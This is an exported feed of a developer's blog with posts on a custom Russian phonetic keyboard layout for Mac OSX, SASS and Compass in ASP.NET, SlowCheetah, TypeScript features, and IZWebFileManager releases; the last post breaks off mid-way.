tag:blogger.com,1999:blog-52013571668507362932024-03-18T02:47:49.364-07:00Igor Zelmanovich's BlogAnonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.comBlogger44125tag:blogger.com,1999:blog-5201357166850736293.post-89820722933996911822014-06-11T05:20:00.000-07:002014-06-11T05:24:38.592-07:00Custom Russian Phonetic Keyboard Layout for Mac OSXMost of my developer life I worked on Windows, and other operation system were strange for me.<br />
But since about year ago I am working on projects for mobile platforms (Android and iOS) and naturally became a Mac OSX user. To make my life with OSX to be the same comfortable as with Windows, I needed to find several tools and features, which replace my "lovely" windows analogs.<br />
One of them is custom keyboard layout.<br />
<br />
I am a Russian speaker living in Israel where I use to use English-Hebrew keyboard. For typing in Russian I use Russian phonetic keyboard layout available from this site: <a href="http://winrus.com/kbd_e.htm">http://winrus.com/kbd_e.htm</a>.<br />
<br />
Mac OSX has built-in Russian phonetic keyboard, but the layout is slightly different. Sounds like there is not a big deal to learn new layout, but if I switch between Windows and Mac, it become annoying to adjust my mind for layout differences.<br />
<br />
Fortunately, there is a way to customise keyboard layout on Mac OSX using "<a href="http://scripts.sil.org/cms/scripts/page.php?site_id=nrsi&item_id=ukelele">Ukelele</a>" software.<br />
<br />
Using Ukelele I took built-in Russian phonetic keyboard layout and changed several keys to make it the same as on windows.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTgRWUrhjFCoI1tmlh_H6zPUcSVcFgQAz1p5wwxcka8PpVkOxASsswRuxMYRD4axY0hipXzkpM7j9KuncJr_mOzpr1fVjleMx9i2je4fEC5B0XMIsD71HN_6H4salqmlYDwVmBeIpODT-9/s1600/Russian_-_Phonetic_-_ZH_and_Blogger__Igor_Zelmanovich_s_Blog_-_Edit_post.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTgRWUrhjFCoI1tmlh_H6zPUcSVcFgQAz1p5wwxcka8PpVkOxASsswRuxMYRD4axY0hipXzkpM7j9KuncJr_mOzpr1fVjleMx9i2je4fEC5B0XMIsD71HN_6H4salqmlYDwVmBeIpODT-9/s1600/Russian_-_Phonetic_-_ZH_and_Blogger__Igor_Zelmanovich_s_Blog_-_Edit_post.png" height="216" width="640" /></a></div>
<br />
<br />
Saved "Russian - phonetic - ZH.keylayout" and "Russian - phonetic - ZH.icns" files into "/Library/Keyboard Layouts", and was able to select it from "System Preferences > Keyboard > Input Sources"<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigneaLV67c4sskPEW6W9Xpsge09Bp8wb3Hm7nJ-lMx0CY3pe8LixYzeOJGDakAexGcQ0ylQE89TfE929ZO_5phl7BQWpMApauTc43Vz2LZS9tJfEwp79UUeK3th5V2-8vE6QV4kiAMJhQA/s1600/Keyboard_and_Blogger__Igor_Zelmanovich_s_Blog_-_Edit_post.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigneaLV67c4sskPEW6W9Xpsge09Bp8wb3Hm7nJ-lMx0CY3pe8LixYzeOJGDakAexGcQ0ylQE89TfE929ZO_5phl7BQWpMApauTc43Vz2LZS9tJfEwp79UUeK3th5V2-8vE6QV4kiAMJhQA/s1600/Keyboard_and_Blogger__Igor_Zelmanovich_s_Blog_-_Edit_post.png" height="572" width="640" /></a></div>
<br />
<br />
Vualah! My OSX word is friendly for me!<br />
<br />
I am happy to share it with you, please download my custom Russian keyboard layout from here: <a href="http://1drv.ms/1mH5NTf">http://1drv.ms/1mH5NTf</a><br />
<br />
<br />
<br />Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com7tag:blogger.com,1999:blog-5201357166850736293.post-24667979648157448612013-10-13T06:50:00.000-07:002013-10-13T06:50:30.995-07:00Using Compass framework with ASP.NET MVC application.In my previous <a href="http://igorzelmanovich.blogspot.co.il/2013/10/add-power-of-sass-to-aspnet-application.html">post</a> I described how to <a href="http://igorzelmanovich.blogspot.co.il/2013/10/add-power-of-sass-to-aspnet-application.html">start working with SASS using Mindscape Web Workbench</a>.<br />
<br />
In this post I am taking next step - start working with <a href="http://compass-style.org/">Compass - CSS Authoring Framework</a>.<br />
<br />
Immediately after installing <a href="http://www.mindscapehq.com/products/web-workbench">Web Workbench</a>, you can create/edit <a href="http://sass-lang.com/">SCSS</a> file, which are compiled into CSS. By default, Web Workbench compile SCSS files with SASS compiler. But there is a trick:<br />
<br />
<a name='more'></a><br />
<h4>
Setup Compass Project</h4>
Right click on project node in solution explorer, then select "Setup Compass Project"<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_eENdTpf7UQh6eYKXEWkVHwU81xI6jXgO2epxSkZvOqoC9f25AFCTbbdMuYLmFoCtOyi_uEVpfQN0mskzqRIIWrnGeVCQN0IIDnMtL-Z9c64cv3dlq73tq5p_Vd_CGXKdPOw8oh7VMwF5/s1600/2013-10-13_13h57_58.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="550" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_eENdTpf7UQh6eYKXEWkVHwU81xI6jXgO2epxSkZvOqoC9f25AFCTbbdMuYLmFoCtOyi_uEVpfQN0mskzqRIIWrnGeVCQN0IIDnMtL-Z9c64cv3dlq73tq5p_Vd_CGXKdPOw8oh7VMwF5/s640/2013-10-13_13h57_58.png" width="640" /></a></div>
<br />
It will change your project by adding <i>"sass"</i> folder with <i>"ie.scss", "print.scss" </i>and <i>"screen.scss"</i> files and compass project configuration file <i>"config.rb"</i> in root.<br />
<br />
<i>"config.rb"</i> is a <a href="https://www.ruby-lang.org/en/">Ruby</a> file, contains <a href="http://compass-style.org/help/tutorials/configuration-reference/">configuration properties</a>, such<i> "css_dir"</i> - the directory where the css stylesheets are kept and <i>"sass_dir"</i> - the directory where the sass stylesheets are kept.<br />
<br />
From now, all SASS files, located in <i>"sass_dir" </i>will be complied by Compass compiler and, accordingly, CSS output files will be stored in <i>"css_dir".</i><br />
<i><br /></i>
If you don't want to change your ASP.NET project layout, you might prefer to change Compass configuration. <br />
<br />
I prefer to keep all SCSS files in separate directory, therefore I created "Content/scss" folder and moved existing *.scss files there.<br />
Then I changed config.rb file as bellow:<br />
<blockquote class="tr_bq">
<br /># Set this to the root of your project when deployed:<br />http_path = "/"<br />css_dir = "Content"<br />sass_dir = "Content/scss"<br />images_dir = "images"<br />javascripts_dir = "Scripts"</blockquote>
<div>
<br /></div>
<div>
Now Web Workbench recognizes scss files as part of Compass project and runs Compass compiler against them. Output css files remain in the same place, so no need to update views.</div>
<br />
<h4>
Get Magic of Compass</h4>
Just open <a href="http://compass-style.org/reference/compass/">Compass API references</a> and start coding.<br />
<br />
Lest consume one of basic features of Compass - Reset.<br />
<br />
add following line in beginning of SCSS file<br />
<br />
@import "compass/reset";<br />
<br />
The only line will generate plenty of reset rules in output css<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtnkKDTNpScz7YpCexlydsgmCoBdcuU7EQdjB6OVXXF31SOfRvDX1y35QeQ6AA-jbvNp_y-NSQNZzCYt9AHstZVShr5rCT5CE2h7gQ_APmh3RKyqQoP5VJPBHcgH-FSQb7yaCXQmlPghL1/s1600/2013-10-13_14h35_43.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtnkKDTNpScz7YpCexlydsgmCoBdcuU7EQdjB6OVXXF31SOfRvDX1y35QeQ6AA-jbvNp_y-NSQNZzCYt9AHstZVShr5rCT5CE2h7gQ_APmh3RKyqQoP5VJPBHcgH-FSQb7yaCXQmlPghL1/s640/2013-10-13_14h35_43.png" width="640" /></a></div>
<br />
<div>
Isn't it a magic?!</div>
<div>
<br /></div>
<div>
Compass has a lot of useful features, and all of them are available in your ASP.NET application.</div>
Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com1tag:blogger.com,1999:blog-5201357166850736293.post-32123523603231515242013-10-07T00:08:00.000-07:002013-10-07T00:08:32.977-07:00Tools: SlowCheetah - XML TransformsIf you have different Debug/Release configurations and want to switch them automatically when you run application - this tool is "must to have" for you.<br />
<br />
<a href="http://visualstudiogallery.msdn.microsoft.com/69023d00-a4f9-4a34-a6cd-7e854ba318b5">SlowCheetah - XML Transforms</a><br />
"This package enables you to transform your app.config or any other XML file based on the build configuration. It also adds additional tooling to help you create XML transforms.. Written by: Sayed Ibrahim Hashimi, Chuck England and Bill Hiebert"<div>
<br /></div>
<div>
Just used it with my application, it works like a charm, no more lines of code in build script changing configuration for production environment. </div>
<div>
<br /></div>
<div>
Highly recommended!</div>
Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com1tag:blogger.com,1999:blog-5201357166850736293.post-86448879436180482652013-10-06T02:58:00.000-07:002013-10-06T02:58:12.238-07:00Add power of SASS to ASP.NET applicationI always wanted to find a way to develop CSS in a way I write C# or JavaScript. The main problem in CSS as a language for me were complexity of refactoring and code reuse.<br />
<br />
There were projects such SASS and LESS, but there was no way to adopt them into .NET/Visual Studio environment easily.<br />
<br />
About month ago I met amazing product - <a href="http://www.mindscapehq.com/products/web-workbench"><b>Mindscape Web Workbench</b> </a>. It is a Visual Studio plug in, allows you to write SASS, LESS and Coffee Script with Visual Studio and therefore use power of those technologies in ASP.NET project.<br />
<br />
<a name='more'></a><br /><br />
I actually use only SASS. LESS is an alternative to SASS and Coffee Script is a "competitor" of TypeScript which I already use in my projects. I use free edition, and it is more then enough for me.<br />
<h4>
How it works for me:</h4>
<div>
1. First step after installing Mindscape Web Workbench - convert existing CSS files into SASS.</div>
<div>
Since any CSS is compatible with SASS, the procedure is simple changing of extension of files from 'css' to 'scss'.</div>
<div>
Renamed file will get nice purple icon, moreover, now it can be opened with SASS editor, supporting SASS syntax.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOfL3WDFijoT5_5J2JrCW93Dov12ICXgdKmXsWCIe0_MxzfARzA4oONSjIGHXLV0468dnCemZEajBaMPTNJgcyjH0Wrro26sQwdR_zewnvN3yB3PdqUH0F6VKAyN-teXJDXyoOymubotWj/s1600/2013-10-06_12h22_03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOfL3WDFijoT5_5J2JrCW93Dov12ICXgdKmXsWCIe0_MxzfARzA4oONSjIGHXLV0468dnCemZEajBaMPTNJgcyjH0Wrro26sQwdR_zewnvN3yB3PdqUH0F6VKAyN-teXJDXyoOymubotWj/s640/2013-10-06_12h22_03.png" width="640" /></a></div>
<div>
<br /></div>
<div>
2. Second step - set up Web Workbench settings. Right click on project node in Solution Explorer and select 'Web Workbench Settings...' from menu. It will open settings page, where you can select which files will be compiled and where to place compiled output. </div>
<div>
Next time you save changes of *.scss file, it will be compiled and you will see produced output according to settings.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9GcL5ySn8ke7fmvXGyuHKWPyCHUBdoUnL7JsFWu_4ywWIFr_uIBlwoEMq60fjUNiIR0d09twUgPOtBnbmLWB55YB0ntyVapBnuUzZ0-XNPELjEsEojBkezYBLxKwIPw3fzyvlWmPtnhAi/s1600/2013-10-06_12h29_58.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9GcL5ySn8ke7fmvXGyuHKWPyCHUBdoUnL7JsFWu_4ywWIFr_uIBlwoEMq60fjUNiIR0d09twUgPOtBnbmLWB55YB0ntyVapBnuUzZ0-XNPELjEsEojBkezYBLxKwIPw3fzyvlWmPtnhAi/s640/2013-10-06_12h29_58.png" width="640" /></a></div>
<div>
<br /></div>
<div>
3. Start using SASS. You can immediately use SASS with existing code. SASS documentation is available <a href="http://sass-lang.com/docs.html">here</a>. For example, I extracted colors into variables and wrote mixin:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTVcTssWsh7SpJgr2VV_RS4FPgZ6eypt2DWf3xbWWGvUXV7lY64gIHz9LzRYoFY-FoZwETm3PZJMBBjsuvZ2wVe51Dn9FJrmxUsBcWq2bHVN2EYB70TkX6mWcg9lwbUPiWdm0fJ_IMshNj/s1600/2013-10-06_12h47_05.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTVcTssWsh7SpJgr2VV_RS4FPgZ6eypt2DWf3xbWWGvUXV7lY64gIHz9LzRYoFY-FoZwETm3PZJMBBjsuvZ2wVe51Dn9FJrmxUsBcWq2bHVN2EYB70TkX6mWcg9lwbUPiWdm0fJ_IMshNj/s640/2013-10-06_12h47_05.png" width="640" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
By all that I can really "program" my CSS using variables, functions (mixins), scoping (nesting), etc.</div>
<h4>
Next Step - work with Compass framework:</h4>
<div>
There is a cool CSS framework based on SASS - <b><a href="http://compass-style.org/">Compass</a>. </b>I did not work with it yet, but they say you may easily get it into with Web Workbench. Right click on project node in Solution Explorer - you will fine "Setup Compass Project" menu. I did play with it, but it seems to be worthy to learn.</div>
Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com0tag:blogger.com,1999:blog-5201357166850736293.post-39042137650535637642013-06-30T07:25:00.000-07:002013-06-30T07:25:04.608-07:00TypeScript lambda expressionIn my opinion, <a href="http://www.typescriptlang.org/">TypeScript </a>is the best solution for MS/.NET oriented development.<br />
<br />
At first - it is very similar to C#, that makes .NET developer's life easy.<br />
<br />
At second - TypeScript is a superset of JavaScript, and you can mix "pure" JavaScript code with "typed" TypeScript. It is very important in case you have a lot of JavaScript in your project and want to take advantage of modern web technologies. I have an <a href="http://igorzelmanovich.blogspot.fr/2013/01/converting-existing-javascript-code-to.html">example </a>- my <a href="http://www.izwebfilemanager.com/">IZWebFileManager </a>project<br />
<br />
At third (but not less important) - it has <b>Lambda expression</b><br />
<br />
I am using JQuery AJAX, and used to write such code:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrsdcOXIukNtkwhk28zDbMAzb0AKV7y9zlqQW_xd6Yxy3SiWb0efWGtkINdYyE01RmDufamqr5gzZSGFTO5Q_RFtcNmFo6SUx6yLLlgJqQDV3u2wC52tQH5emZ5kGSXewWs9djimAEhMQA/s544/2013-06-30_17h10_06.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrsdcOXIukNtkwhk28zDbMAzb0AKV7y9zlqQW_xd6Yxy3SiWb0efWGtkINdYyE01RmDufamqr5gzZSGFTO5Q_RFtcNmFo6SUx6yLLlgJqQDV3u2wC52tQH5emZ5kGSXewWs9djimAEhMQA/s1600/2013-06-30_17h10_06.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
It is simple closure, that I use to keep reference to the instance that I work with from ajax callback.<br />
This pattern became routine and very annoying.<br />
<br />
But TypeScript bring the solution:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitNBD0BggOOfD2PJdgH53qAhv8KZPFRSRFOxfGVRucnrME9EQWWGNpRCPocBhRu2twGncDTsdl8Vuwef703v9oEMwcEWslXL9q5tiC3RyqeKzEpC1KhrIa61xEjbzv-ykktR4bgMpfV6sm/s692/2013-06-30_17h11_43.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitNBD0BggOOfD2PJdgH53qAhv8KZPFRSRFOxfGVRucnrME9EQWWGNpRCPocBhRu2twGncDTsdl8Vuwef703v9oEMwcEWslXL9q5tiC3RyqeKzEpC1KhrIa61xEjbzv-ykktR4bgMpfV6sm/s1600/2013-06-30_17h11_43.png" /></a></div>
<br />
It is much simple, no need to care of what <i>'this'</i> is anymore. It just does all this annoying routine behind the scene. There is compiled JavaScript output:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEif5XJexvNrSN9E-KP-xWgHnzzjmgkG4tF0AjU8PqvYE4hNZy6PW5hzekxsZyZh-P9a266Ufhomo117ilxNpzz9ETAgw4C9Tbr45yrWXWZ1a0IlHi2pJlVBXjwve8UTgxcqrta1aBAg1p7k/s536/2013-06-30_17h21_03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEif5XJexvNrSN9E-KP-xWgHnzzjmgkG4tF0AjU8PqvYE4hNZy6PW5hzekxsZyZh-P9a266Ufhomo117ilxNpzz9ETAgw4C9Tbr45yrWXWZ1a0IlHi2pJlVBXjwve8UTgxcqrta1aBAg1p7k/s1600/2013-06-30_17h21_03.png" /></a></div>
<br />
It worth to move to TypeScript just because it is a great featureAnonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com1tag:blogger.com,1999:blog-5201357166850736293.post-12237210308395920012013-03-19T02:06:00.001-07:002013-03-19T02:07:15.257-07:00Junk Email - free source of Unicode charactersWhen you test <b>Unicode </b>support of an application, you likely use text snippets of foreign language.<br />
<br />
Recently I found a free source of such texts - it is Junk Email. There you can find tons of text in Chinesе, Turkish, Russian and more. :)Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com0tag:blogger.com,1999:blog-5201357166850736293.post-1741809825501618002013-03-04T23:11:00.000-08:002013-03-04T23:11:23.426-08:00IZWebFileManager got better!Today I released a new build of <a href="http://www.izwebfilemanager.com/">IZWebFileManager </a>- <a href="https://code.google.com/p/izwebfilemanager/downloads/list">v2.8.0</a>.<br />
<br />
This is a new minor release, but it includes a major changes.<br />
<br />
First of all, I dropped IE7 support. Previous version 2.7.2 works in IE7, and you may stick with it if you really need IE7 support.<br />
<br />
A new "supper" feature has been added - Select Folder dialog. When you copy or move selected item, then Select Folder dialog is open to allow you to pick up a destination.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7vZbrTvt-2zsI7pxSRmQYjIQVWvaRMlmBWuVsBBkd0ZdYNQwmxh8mtQ3DGN_ZXHFFQy5k3okCB9rdSvjKH_8q5mjtyyHd4bmEzTqxQuEErB5-EudSw6O5OtkieC7KqWcAK9vJ0Vlwmjty/s1600/2013-03-05_07h43_55.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7vZbrTvt-2zsI7pxSRmQYjIQVWvaRMlmBWuVsBBkd0ZdYNQwmxh8mtQ3DGN_ZXHFFQy5k3okCB9rdSvjKH_8q5mjtyyHd4bmEzTqxQuEErB5-EudSw6O5OtkieC7KqWcAK9vJ0Vlwmjty/s1600/2013-03-05_07h43_55.png" /></a></div>
<br />
<br />
In additional, there are many new properties were added to support look and feel customization:<br />
<br />
<ul>
<li>SelectedItemBackColor</li>
<li>SelectedItemForeColor </li>
<li>SelectedItemBorderColor </li>
<li>SelectFolderTreeStyle</li>
<li>DetailsColumnHeaderStyle </li>
<li>DetailsSortedColumnStyle </li>
<li>DynamicMenuStyle </li>
<li>TextBoxStyle </li>
</ul>
<div>
Demo project contains samples of using of them.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFtn6rnNqD2kDWiq8yr-h70n8vVYrfH0BGF6n91_6_AzEKepvypzUmCEowoWQ-_yO9cQ4qfez0ljchdO81wuIXaVY1Mw6iI80xlqfN8vtYiRAWuGEtTdqVi3QNtTfVqyRPnO0Vta7-HdNy/s1600/2013-03-05_08h58_04.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFtn6rnNqD2kDWiq8yr-h70n8vVYrfH0BGF6n91_6_AzEKepvypzUmCEowoWQ-_yO9cQ4qfez0ljchdO81wuIXaVY1Mw6iI80xlqfN8vtYiRAWuGEtTdqVi3QNtTfVqyRPnO0Vta7-HdNy/s1600/2013-03-05_08h58_04.png" /></a></div>
<div>
<br /></div>
<div>
You can download this new build from <a href="https://code.google.com/p/izwebfilemanager/downloads/list">project's page</a>.</div>
<div>
<br /></div>
Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com0tag:blogger.com,1999:blog-5201357166850736293.post-66759527396210507912013-01-02T23:41:00.000-08:002013-01-02T23:41:38.483-08:00Converting existing JavaScript code to TypeScript in Visual StudioThe best way to learn new technology is to start using it with real project. I have such - <a href="http://www.izwebfilemanager.com/">IZWebFileManager</a>. It was written when ASP.NET MVC wasn't event in mind and Web Forms was only framework for web application in .NET. IZWebFileManager is an ASP.NET Server Control and has about 1300 lines of JavaScript code.<br />
<br />
The challenge is to convert all existing JavaScript code in the project to TypeScript. The result of this effort you can find here:<a href="https://github.com/manishma/IZWebFileManager/tree/typescript"> https://github.com/manishma/IZWebFileManager/tree/typescript</a><br />
<br />
It this post I'll tell you about steps I went through.<br />
<br />
<br />
<a name='more'></a><br />
<h2>
1. Adding support of TypeScript to the project</h2>
I have installed TypeScript plugin for VisualStudo and customized the project file as I described in my previous post "<a href="http://igorzelmanovich.blogspot.co.il/2013/01/using-typescript-with-existing-project.html">Using TypeScript with an existing ASP.NET project</a>"<br />
<br />
<h2>
2. Changing file extensions from *.js to *.ts</h2>
<div>
This step is a bit tricky. All JavaScript files in the project are build as embedded resource. From other side, TypeScript files have it's own build action "TypeScriptCompile". I have to maintain a configuration, which allows to keep proper build action for both files. It is much easy to do by editing *.proj file directly.</div>
<div>
<br /></div>
<div>
All java script files in project are listed in this way:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-pcKaAJ_YxEPrARaKGhhoTHfi5_0WF_l50CqvwqwWCpHBXXfNYkjYV6nxSweEWA9HejIfiVQo-x7wJZZO-pTzq7gAYOpfSU7tANaAl9dElWPEQI1dYQhC8oNUOxMv3FaeQccEdqsKxf-8/s1600/2013-01-03_07h50_25.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-pcKaAJ_YxEPrARaKGhhoTHfi5_0WF_l50CqvwqwWCpHBXXfNYkjYV6nxSweEWA9HejIfiVQo-x7wJZZO-pTzq7gAYOpfSU7tANaAl9dElWPEQI1dYQhC8oNUOxMv3FaeQccEdqsKxf-8/s1600/2013-01-03_07h50_25.png" /></a></div>
<div>
<br /></div>
<div>
I changed it to</div>
<div>
<br /></div>
<div>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_fggSDo-EqIMXbsebz9I5rB3BhAXs4fTXfLERnTtBtwnjfQjt_zMgM0EeJonqUditKEDq9LG5jOCEqyVBKAPbLu05FcguX7aR5m7a88V6Fqu3aInBCmIZ4Get_V2VTWN8UvvL4r_fXGDF/s1600/2013-01-03_07h54_44.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_fggSDo-EqIMXbsebz9I5rB3BhAXs4fTXfLERnTtBtwnjfQjt_zMgM0EeJonqUditKEDq9LG5jOCEqyVBKAPbLu05FcguX7aR5m7a88V6Fqu3aInBCmIZ4Get_V2VTWN8UvvL4r_fXGDF/s1600/2013-01-03_07h54_44.png" /></a></div>
<div>
<br /></div>
<div>
And then changed extension of *.js files to *.ts. </div>
<div>
NOTE: Don't use Visual Studio for changing file extensions, cause it makes changes in project file. Do it directly in file manager.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieOzxA9Pzb5GL59FjPxXrOc_as4nf7k_St3DHqj1KHLDsyALg1k8YutmTQvagrgsFiZetLBusFTl9R294DtEt4-mc6UX-IoqmDBclDGOx6pWPkfBGkSMcCn-qDnYJkZC4wxili8Wg7ByHx/s1600/2013-01-03_08h01_10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieOzxA9Pzb5GL59FjPxXrOc_as4nf7k_St3DHqj1KHLDsyALg1k8YutmTQvagrgsFiZetLBusFTl9R294DtEt4-mc6UX-IoqmDBclDGOx6pWPkfBGkSMcCn-qDnYJkZC4wxili8Wg7ByHx/s1600/2013-01-03_08h01_10.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
After opening/reloading project in Visual Studio I got this:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEias5j0wa1Z36YXXgaD857-eCXZWW-WtfXKkyLUAEIVHB12x0rDB-s0g75FZ8AfBYLiDpIG3suEJZziTiqkT2gyk9gSOgAL34YFLMNNsPAsDEcgvGhrjMxHvmHcloum8wECR5wWG74AMv-B/s1600/2013-01-03_08h04_13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEias5j0wa1Z36YXXgaD857-eCXZWW-WtfXKkyLUAEIVHB12x0rDB-s0g75FZ8AfBYLiDpIG3suEJZziTiqkT2gyk9gSOgAL34YFLMNNsPAsDEcgvGhrjMxHvmHcloum8wECR5wWG74AMv-B/s1600/2013-01-03_08h04_13.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
FileManagerController.js is not found, cause it does not exit yet. I have to build the project to get all *.js files be produced. But building the project at this step results an error:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAD_3ngCu8L6hKryhiGZs6n7hhzfSqzZkkUOp1GpIlDCqJjvolBC73j7Rj_KBwF_1RZG9-x89gaET-BhVhfzfoSDm_aOHcPJ0NZLPjvMhazYVHGXrgOUL6N-PUfB6o87k3bvO2RvMW9L1E/s1600/2013-01-03_08h10_37.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="154" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAD_3ngCu8L6hKryhiGZs6n7hhzfSqzZkkUOp1GpIlDCqJjvolBC73j7Rj_KBwF_1RZG9-x89gaET-BhVhfzfoSDm_aOHcPJ0NZLPjvMhazYVHGXrgOUL6N-PUfB6o87k3bvO2RvMW9L1E/s640/2013-01-03_08h10_37.png" width="640" /></a></div>
<div>
Don't get panic! It is normal situation. The converted JavaScript has a lot of errors and unrecognized references. You see it immediately when you open *.ts file:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbsBtGD2HKae-58GcFv80Vs5-AFTldTFyREIJsCWU8ZH1TMNKQ1PBSYFLf7ZlAxGxIESm1uUVDSb3VpN4l-jyBSWKqwZiEsOqVM8ZJJgCv-J-A-zwOgcOmCYqbrtzi-EJlb1Nt9EgLNVHU/s1600/2013-01-03_08h15_37.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbsBtGD2HKae-58GcFv80Vs5-AFTldTFyREIJsCWU8ZH1TMNKQ1PBSYFLf7ZlAxGxIESm1uUVDSb3VpN4l-jyBSWKqwZiEsOqVM8ZJJgCv-J-A-zwOgcOmCYqbrtzi-EJlb1Nt9EgLNVHU/s640/2013-01-03_08h15_37.png" width="606" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<h2>
3. Fixing errors</h2>
<div>
The one of benefits of TypeScript is error detection. It is not easy to make silly mistake with TypeScript.</div>
<div>
<br /></div>
<div>
One of most common errors in my code was not declaring loop counter variable in local scope:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
